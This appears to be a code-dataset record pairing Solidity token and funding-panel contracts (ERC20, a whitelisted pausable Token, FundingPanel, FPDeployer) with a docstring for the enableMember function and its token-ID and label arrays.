function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the `IERC20` interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using `_mint`.
* For a generic mechanism see `ERC20Mintable`.
*
* *For a detailed writeup see our guide [How to implement supply
* mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).*
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an `Approval` event is emitted on calls to `transferFrom`.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard `decreaseAllowance` and `increaseAllowance`
* functions have been added to mitigate the well-known issues around setting
* allowances. See `IERC20.approve`.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destoys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
interface IToken {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function paused() external view returns (bool);
function pause() external;
function unpause() external;
function isImportedContract(address) external view returns (bool);
function getImportedContractRate(address) external view returns (uint256);
function setImportedContract(address, uint256) external;
function checkTransferAllowed (address, address, uint256) external view returns (byte);
function checkTransferFromAllowed (address, address, uint256) external view returns (byte);
function checkMintAllowed (address, uint256) external pure returns (byte);
function checkBurnAllowed (address, uint256) external pure returns (byte);
}
contract Token is IToken, ERC20, Ownable {
string private _name;
string private _symbol;
uint8 private _decimals;
IAdminTools private ATContract;
address private ATAddress;
byte private constant STATUS_ALLOWED = 0x11;
byte private constant STATUS_DISALLOWED = 0x10;
bool private _paused;
struct contractsFeatures {
bool permission;
uint256 tokenRateExchange;
}
mapping(address => contractsFeatures) private contractsToImport;
event Paused(address account);
event Unpaused(address account);
constructor(string memory name, string memory symbol, address _ATAddress) public {
_name = name;
_symbol = symbol;
_decimals = 18;
ATAddress = _ATAddress;
ATContract = IAdminTools(ATAddress);
_paused = false;
}
modifier onlyMinterAddress() {
require(ATContract.getMinterAddress() == msg.sender, "Address can not mint!");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "Token Contract paused...");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "Token Contract not paused");
_;
}
/**
* @return the name of the token.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() external view returns (bool) {
return _paused;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() external onlyOwner whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() external onlyOwner whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
/**
* @dev check if the contract can be imported to change with this token.
* @param _contract address of token to be imported
*/
function isImportedContract(address _contract) external view returns (bool) {
return contractsToImport[_contract].permission;
}
/**
* @dev get the exchange rate between token to be imported and this token.
* @param _contract address of token to be exchange
*/
function getImportedContractRate(address _contract) external view returns (uint256) {
return contractsToImport[_contract].tokenRateExchange;
}
/**
* @dev set the address of the token to be imported and its exchange rate.
* @param _contract address of token to be imported
* @param _exchRate exchange rate between token to be imported and this token.
*/
function setImportedContract(address _contract, uint256 _exchRate) external onlyOwner {
require(_contract != address(0), "Address not allowed!");
require(_exchRate >= 0, "Rate exchange not allowed!");
contractsToImport[_contract].permission = true;
contractsToImport[_contract].tokenRateExchange = _exchRate;
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
require(checkTransferAllowed(msg.sender, _to, _value) == STATUS_ALLOWED, "transfer must be allowed");
return ERC20.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
require(checkTransferFromAllowed(_from, _to, _value) == STATUS_ALLOWED, "transfer must be allowed");
return ERC20.transferFrom(_from, _to,_value);
}
function mint(address _account, uint256 _amount) public whenNotPaused onlyMinterAddress {
require(checkMintAllowed(_account, _amount) == STATUS_ALLOWED, "mint must be allowed");
ERC20._mint(_account, _amount);
}
function burn(address _account, uint256 _amount) public whenNotPaused onlyMinterAddress {
require(checkBurnAllowed(_account, _amount) == STATUS_ALLOWED, "burn must be allowed");
ERC20._burn(_account, _amount);
}
/**
* @dev check if the SEED sender address could receive new tokens.
* @param _holder address of the SEED sender
* @param _amountToAdd amount of tokens to be added to sender balance.
*/
function okToTransferTokens(address _holder, uint256 _amountToAdd) public view returns (bool){
uint256 holderBalanceToBe = balanceOf(_holder).add(_amountToAdd);
bool okToTransfer = ATContract.isWhitelisted(_holder) && holderBalanceToBe <= ATContract.getMaxWLAmount(_holder) ? true :
holderBalanceToBe <= ATContract.getWLThresholdBalance() ? true : false;
return okToTransfer;
}
function checkTransferAllowed (address _sender, address _receiver, uint256 _amount) public view returns (byte) {
require(_sender != address(0), "Sender can not be 0!");
require(_receiver != address(0), "Receiver can not be 0!");
require(balanceOf(_sender) >= _amount, "Sender does not have enough tokens!");
require(okToTransferTokens(_receiver, _amount), "Receiver not allowed to perform transfer!");
return STATUS_ALLOWED;
}
function checkTransferFromAllowed (address _sender, address _receiver, uint256 _amount) public view returns (byte) {
require(_sender != address(0), "Sender can not be 0!");
require(_receiver != address(0), "Receiver can not be 0!");
require(balanceOf(_sender) >= _amount, "Sender does not have enough tokens!");
require(okToTransferTokens(_receiver, _amount), "Receiver not allowed to perform transfer!");
return STATUS_ALLOWED;
}
function checkMintAllowed (address, uint256) public pure returns (byte) {
//require(ATContract.isOperator(_minter), "Not Minter!");
return STATUS_ALLOWED;
}
function checkBurnAllowed (address, uint256) public pure returns (byte) {
// default
return STATUS_ALLOWED;
}
}
interface IFundingPanel {
function getFactoryDeployIndex() external view returns(uint);
function isMemberInserted(address) external view returns(bool);
function addMemberToSet(address, uint8, string calldata, bytes32) external returns (bool);
function enableMember(address) external;
function disableMemberByStaffRetire(address) external;
function disableMemberByStaffForExit(address) external;
function disableMemberByMember(address) external;
function changeMemberData(address, string calldata, bytes32) external;
function changeTokenExchangeRate(uint256) external;
function changeTokenExchangeOnTopRate(uint256) external;
function getOwnerData() external view returns (string memory, bytes32);
function setOwnerData(string calldata, bytes32) external;
function getMembersNumber() external view returns (uint);
function getMemberAddressByIndex(uint8) external view returns (address);
function getMemberDataByAddress(address _memberWallet) external view returns (bool, uint8, string memory, bytes32, uint256, uint, uint256);
function setNewSeedMaxSupply(uint256) external returns (uint256);
function holderSendSeeds(uint256) external;
function unlockFunds(address, uint256) external;
function burnTokensForMember(address, uint256) external;
function importOtherTokens(address, uint256) external;
}
interface IERC20Seed {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FundingPanel is Ownable, IFundingPanel {
using SafeMath for uint256;
// address private owner;
string private setDocURL;
bytes32 private setDocHash;
address public seedAddress;
IERC20Seed private seedToken;
Token private token;
address public tokenAddress;
IAdminTools private ATContract;
address public ATAddress;
uint8 public exchRateDecimals;
uint256 public exchangeRateOnTop;
uint256 public exchangeRateSeed;
uint public factoryDeployIndex;
uint256 public seedMaxSupply;
uint256 public totalSentSeed;
struct infoMember {
bool isInserted;
uint8 disabled; //0=enabled, 1=exit, 2=SetOwnerDisabled, 3=memberDisabled
string memberURL;
bytes32 memberHash;
uint256 burnedTokens;
uint listPointer;
uint256 memberUnlockedSeeds;
}
mapping(address => infoMember) public membersArray; // mapping of members
address[] public membersList; //array for counting or accessing in a sequencialing way the members
event MemberAdded();
//event MemberRemoved();
event MemberEnabled(uint pointer);
event MemberDisabled(uint pointer);
event MemberDisabledByMember(uint pointer);
event MemberDataChanged(uint pointer);
event TokenExchangeRateChanged();
event TokenExchangeOnTopRateChanged();
event TokenExchangeDecimalsChanged();
event OwnerDataChanged();
event NewSeedMaxSupplyChanged();
event MintedToken(uint256 amount, uint256 amountOnTop);
event FundsUnlocked();
event TokensBurnedForMember(uint pointer);
event MintedImportedToken(uint256 newTokenAmount);
constructor (string memory _setDocURL, bytes32 _setDocHash, uint256 _exchRateSeed, uint256 _exchRateOnTop,
address _seedTokenAddress, uint256 _seedMaxSupply, address _tokenAddress, address _ATAddress, uint _deployIndex) public {
setDocURL = _setDocURL;
setDocHash = _setDocHash;
exchangeRateSeed = _exchRateSeed;
exchangeRateOnTop = _exchRateOnTop;
exchRateDecimals = 18;
factoryDeployIndex = _deployIndex;
seedMaxSupply = _seedMaxSupply;
tokenAddress = _tokenAddress;
ATAddress = _ATAddress;
seedAddress = _seedTokenAddress;
seedToken = IERC20Seed(seedAddress);
token = Token(tokenAddress);
ATContract = IAdminTools(ATAddress);
}
/**************** Modifiers ***********/
modifier onlyMemberEnabled() {
require(membersArray[msg.sender].isInserted && membersArray[msg.sender].disabled==0, "Member not present or not enabled");
_;
}
modifier whitelistedOnly(address holder) {
require(ATContract.isWhitelisted(holder), "Investor is not whitelisted!");
_;
}
modifier holderEnabledInSeeds(address _holder, uint256 _seedAmountToAdd) {
uint256 amountInTokens = getTokenExchangeAmount(_seedAmountToAdd);
uint256 holderBalanceToBe = token.balanceOf(_holder).add(amountInTokens);
bool okToInvest = ATContract.isWhitelisted(_holder) && holderBalanceToBe <= ATContract.getMaxWLAmount(_holder) ? true :
holderBalanceToBe <= ATContract.getWLThresholdBalance() ? true : false;
require(okToInvest, "Investor not allowed to perform operations!");
_;
}
modifier onlyFundingOperators() {
require(ATContract.isFundingOperator(msg.sender), "Not an authorized operator!");
_;
}
modifier onlyFundsUnlockerOperators() {
require(ATContract.isFundsUnlockerOperator(msg.sender), "Not an authorized operator!");
_;
}
/**
* @dev get Factory Deploy Index
* @return uint index
*/
function getFactoryDeployIndex() public view returns(uint) {
return factoryDeployIndex;
}
/**
* @dev find if a member is inserted
* @return bool for success
*/
function isMemberInserted(address memberWallet) public view returns(bool) {
return membersArray[memberWallet].isInserted;
}
/**
* @dev only operator members can add a member
* @return bool for success
*/
function addMemberToSet(address memberWallet, uint8 disabled, string calldata memberURL,
bytes32 memberHash) external onlyFundingOperators returns (bool) {
require(!isMemberInserted(memberWallet), "Member already inserted!");
uint memberPlace = membersList.push(memberWallet) - 1;
infoMember memory tmpStUp = infoMember(true, disabled, memberURL, memberHash, 0, memberPlace, 0);
membersArray[memberWallet] = tmpStUp;
emit MemberAdded();
return true;
}
/**
* @dev only operator members can delete a member
* @return bool for success
*/
/* function deleteMemberFromSet(address memberWallet) public onlyFundingOperators returns (bool) {
require(isMemberInserted(memberWallet), "Member to delete not found!");
membersArray[memberWallet].isInserted = false;
uint rowToDelete = membersArray[memberWallet].listPointer;
address keyToMove = membersList[membersList.length-1];
membersList[rowToDelete] = keyToMove;
membersArray[keyToMove].listPointer = rowToDelete;
membersList.length--;
emit MemberRemoved();
return true;
}*/
/**
* @return get the number of inserted members in the set
*/
function getMembersNumber() external view returns (uint) {
return membersList.length;
}
/**
* @dev only operator memebers can enable a member
*/
function enableMember(address _memberAddress) external onlyFundingOperators {
require(membersArray[_memberAddress].isInserted, "Member not present");
membersArray[_memberAddress].disabled = 0;
emit MemberEnabled(membersArray[_memberAddress].listPointer);
}
/**
* @dev operator members can disable an already inserted member
*/
function disableMemberByStaffRetire(address _memberAddress) external onlyFundingOperators {
require(membersArray[_memberAddress].isInserted, "Member not present");
membersArray[_memberAddress].disabled = 2;
emit MemberDisabled(membersArray[_memberAddress].listPointer);
}
/**
* @dev operator members can disable an already inserted member
*/
function disableMemberByStaffForExit(address _memberAddress) external onlyFundingOperators {
require(membersArray[_memberAddress].isInserted, "Member not present");
membersArray[_memberAddress].disabled = 1;
emit MemberDisabled(membersArray[_memberAddress].listPointer);
}
/**
* @dev member can disable itself if already inserted and enabled
*/
function disableMemberByMember(address _memberAddress) external onlyMemberEnabled {
membersArray[_memberAddress].disabled = 3;
emit MemberDisabledByMember(membersArray[_memberAddress].listPointer);
}
/**
* @dev operator members can change URL and hash of an already inserted member
*/
function changeMemberData(address _memberAddress, string calldata newURL, bytes32 newHash) external onlyFundingOperators {
require(membersArray[_memberAddress].isInserted, "Member not present");
membersArray[_memberAddress].memberURL = newURL;
membersArray[_memberAddress].memberHash = newHash;
emit MemberDataChanged(membersArray[_memberAddress].listPointer);
}
/**
* @dev operator members can change the rate exchange of the set
*/
function changeTokenExchangeRate(uint256 newExchRate) external onlyFundingOperators {
require(newExchRate > 0, "Wrong exchange rate!");
exchangeRateSeed = newExchRate;
emit TokenExchangeRateChanged();
}
/**
* @dev operator members can change the rate exchange on top of the set
*/
function changeTokenExchangeOnTopRate(uint256 newExchRate) external onlyFundingOperators {
require(newExchRate > 0, "Wrong exchange rate on top!");
exchangeRateOnTop = newExchRate;
emit TokenExchangeOnTopRateChanged();
}
/**
* @dev Shows the amount of tokens the user will receive for amount of Seed token
* @param _Amount Exchanged seed tokens amount to convert
* @return The amount of token that will be received
*/
function getTokenExchangeAmount(uint256 _Amount) internal view returns(uint256) {
require(_Amount > 0, "Amount must be greater than 0!");
return _Amount.mul(exchangeRateSeed).div(10 ** uint256(exchRateDecimals));
}
/**
* @dev Shows the amount of token the owner will receive for amount of Seed token
* @param _Amount Exchanged chong amount to convert
* @return The amount of set Token that will be received
*/
function getTokenExchangeAmountOnTop(uint256 _Amount) internal view returns(uint256) {
require(_Amount > 0, "Amount must be greater than 0!");
return _Amount.mul(exchangeRateOnTop).div(10 ** uint256(exchRateDecimals));
}
/**
* @return get the set token address
*/
function getTokenAddress() external view returns (address) {
return tokenAddress;
}
/**
* @return get the operator members URL and hash
*/
function getOwnerData() external view returns (string memory, bytes32) {
return (setDocURL, setDocHash);
}
/**
* @dev set the owner URL and hash
*/
function setOwnerData(string calldata _dataURL, bytes32 _dataHash) external onlyOwner {
setDocURL = _dataURL;
setDocHash = _dataHash;
emit OwnerDataChanged();
}
/**
* @return get the operator members URL and hash
*/
function getMemberAddressByIndex(uint8 _index) external view returns (address) {
return membersList[_index];
}
function getMemberDataByAddress(address _memberWallet) external view returns (bool, uint8, string memory, bytes32, uint256, uint, uint256) {
require(membersArray[_memberWallet].isInserted, "Member not inserted");
return(membersArray[_memberWallet].isInserted, membersArray[_memberWallet].disabled, membersArray[_memberWallet].memberURL,
membersArray[_memberWallet].memberHash, membersArray[_memberWallet].burnedTokens,
membersArray[_memberWallet].listPointer, membersArray[_memberWallet].memberUnlockedSeeds);
}
/**
* @dev change the max Supply of SEED
*/
function setNewSeedMaxSupply(uint256 _newMaxSeedSupply) external onlyFundingOperators returns (uint256) {
seedMaxSupply = _newMaxSeedSupply;
emit NewSeedMaxSupplyChanged();
return seedMaxSupply;
}
/**
* @dev get the number of Seed token inside the contract an mint new tokens forthe holders and the wallet "On Top"
* @notice msg.sender has to approve transfer the seed tokens BEFORE calling this function
*/
function holderSendSeeds(uint256 _seeds) external holderEnabledInSeeds(msg.sender, _seeds) {
require(seedToken.balanceOf(address(this)).add(_seeds) <= seedMaxSupply, "Maximum supply reached!");
require(seedToken.balanceOf(msg.sender) >= _seeds, "Not enough seeds in holder wallet");
address walletOnTop = ATContract.getWalletOnTopAddress();
require(ATContract.isWhitelisted(walletOnTop), "Owner wallet not whitelisted");
seedToken.transferFrom(msg.sender, address(this), _seeds);
totalSentSeed = totalSentSeed.add(_seeds);
//apply conversion seed/set token
uint256 amount = getTokenExchangeAmount(_seeds);
token.mint(msg.sender, amount);
uint256 amountOnTop = getTokenExchangeAmountOnTop(_seeds);
if (amountOnTop > 0)
token.mint(walletOnTop, amountOnTop);
emit MintedToken(amount, amountOnTop);
}
/**
* @dev Funds unlock by operator members
*/
function unlockFunds(address memberWallet, uint256 amount) external onlyFundsUnlockerOperators {
require(seedToken.balanceOf(address(this)) >= amount, "Not enough seeds to unlock!");
require(membersArray[memberWallet].isInserted && membersArray[memberWallet].disabled==0, "Member not present or not enabled");
seedToken.transfer(memberWallet, amount);
membersArray[memberWallet].memberUnlockedSeeds = membersArray[memberWallet].memberUnlockedSeeds.add(amount);
emit FundsUnlocked();
}
/**
* @dev Burn tokens for members
*/
function burnTokensForMember(address memberWallet, uint256 amount) external {
require(token.balanceOf(msg.sender) >= amount, "Not enough tokens to burn!");
require(membersArray[memberWallet].isInserted && membersArray[memberWallet].disabled==0, "Member not present or not enabled");
membersArray[memberWallet].burnedTokens = membersArray[memberWallet].burnedTokens.add(amount);
token.burn(msg.sender, amount);
emit TokensBurnedForMember(membersArray[memberWallet].listPointer);
}
/**
* @dev Import old tokens and mints the amount of this new token
* @param _tokenAddress Token address to convert in this tokens
* @param _tokenAmount Amount of old tokens to convert
*/
function importOtherTokens(address _tokenAddress, uint256 _tokenAmount) external onlyOwner {
require(token.isImportedContract(_tokenAddress), "Address not allowed!");
require(token.getImportedContractRate(_tokenAddress) >= 0, "Rate exchange not allowed!");
require(ATContract.isWhitelisted(msg.sender), "Wallet not whitelisted");
uint256 newTokenAmount = _tokenAmount.mul(token.getImportedContractRate(_tokenAddress));
uint256 holderBalanceToBe = token.balanceOf(msg.sender).add(newTokenAmount);
bool okToInvest = ATContract.isWhitelisted(msg.sender) && holderBalanceToBe <= ATContract.getMaxWLAmount(msg.sender) ? true :
holderBalanceToBe <= ATContract.getWLThresholdBalance() ? true : false;
require(okToInvest, "Wallet Threshold too low");
token.mint(msg.sender, newTokenAmount);
emit MintedImportedToken(newTokenAmount);
}
}
interface IFPDeployer {
function newFundingPanel(address, string calldata, bytes32, uint256, uint256,
address, uint256, address, address, uint) external returns(address);
function setFactoryAddress(address) external;
function getFactoryAddress() external view returns(address);
}
contract FPDeployer is Ownable, IFPDeployer {
address private fAddress;
event FundingPanelDeployed(uint deployedBlock);
//constructor() public {}
modifier onlyFactory() {
require(msg.sender == fAddress, "Address not allowed to create FP!");
_;
}
/**
* @dev Set the factory address for deployment.
* @param _fAddress The factory address.
*/
function setFactoryAddress(address _fAddress) external onlyOwner {
require(block.number < 8850000, "Time expired!");
require(_fAddress != address(0), "Address not allowed");
fAddress = _fAddress;
}
/**
* @dev Get the factory address for deployment.
*/
function getFactoryAddress() external view returns(address) {
return fAddress;
}
/**
* @dev deployment of a new Funding Panel contract
* @param _caller address that will take the ownership of the contract
* @param _setDocURL URL of the document describing the Panel
* @param _setDocHash hash of the document describing the Panel
* @param _exchRateSeed exchange rate between SEED tokens received and tokens given to the SEED sender (multiply by 10^_exchRateDecim)
* @param _exchRateOnTop exchange rate between SEED token received and tokens minted on top (multiply by 10^_exchRateDecim)
* @param _seedTokenAddress address of SEED token contract
* @param _seedMaxSupply max supply of SEED tokens accepted by this contract
* @param _tokenAddress address of the corresponding Token contract
* @param _ATAddress address of the corresponding AdminTools contract
* @param newLength number of this contract in the corresponding array in the Factory contract
* @return address of the deployed Token contract
*/
function newFundingPanel(address _caller, string calldata _setDocURL, bytes32 _setDocHash, uint256 _exchRateSeed, uint256 _exchRateOnTop,
address _seedTokenAddress, uint256 _seedMaxSupply, address _tokenAddress, address _ATAddress, uint newLength) external onlyFactory returns(address) {
require(_caller != address(0), "Sender Address is zero");
FundingPanel c = new FundingPanel(_setDocURL, _setDocHash, _exchRateSeed, _exchRateOnTop,
_seedTokenAddress, _seedMaxSupply, _tokenAddress, _ATAddress, newLength);
c.transferOwnership(_caller);
emit FundingPanelDeployed (block.number);
return address(c);
}
} | * @dev only operator memebers can enable a member/ | function enableMember(address _memberAddress) external onlyFundingOperators {
require(membersArray[_memberAddress].isInserted, "Member not present");
membersArray[_memberAddress].disabled = 0;
emit MemberEnabled(membersArray[_memberAddress].listPointer);
}
| 12,809,462 | [
1,
3700,
3726,
1663,
73,
2210,
848,
4237,
279,
3140,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
4237,
4419,
12,
2867,
389,
5990,
1887,
13,
3903,
1338,
42,
14351,
24473,
288,
203,
3639,
2583,
12,
7640,
1076,
63,
67,
5990,
1887,
8009,
291,
27329,
16,
315,
4419,
486,
3430,
8863,
203,
3639,
4833,
1076,
63,
67,
5990,
1887,
8009,
9278,
273,
374,
31,
203,
3639,
3626,
8596,
1526,
12,
7640,
1076,
63,
67,
5990,
1887,
8009,
1098,
4926,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity >=0.5.0 <0.6.0;
/// @title ERC165Interface
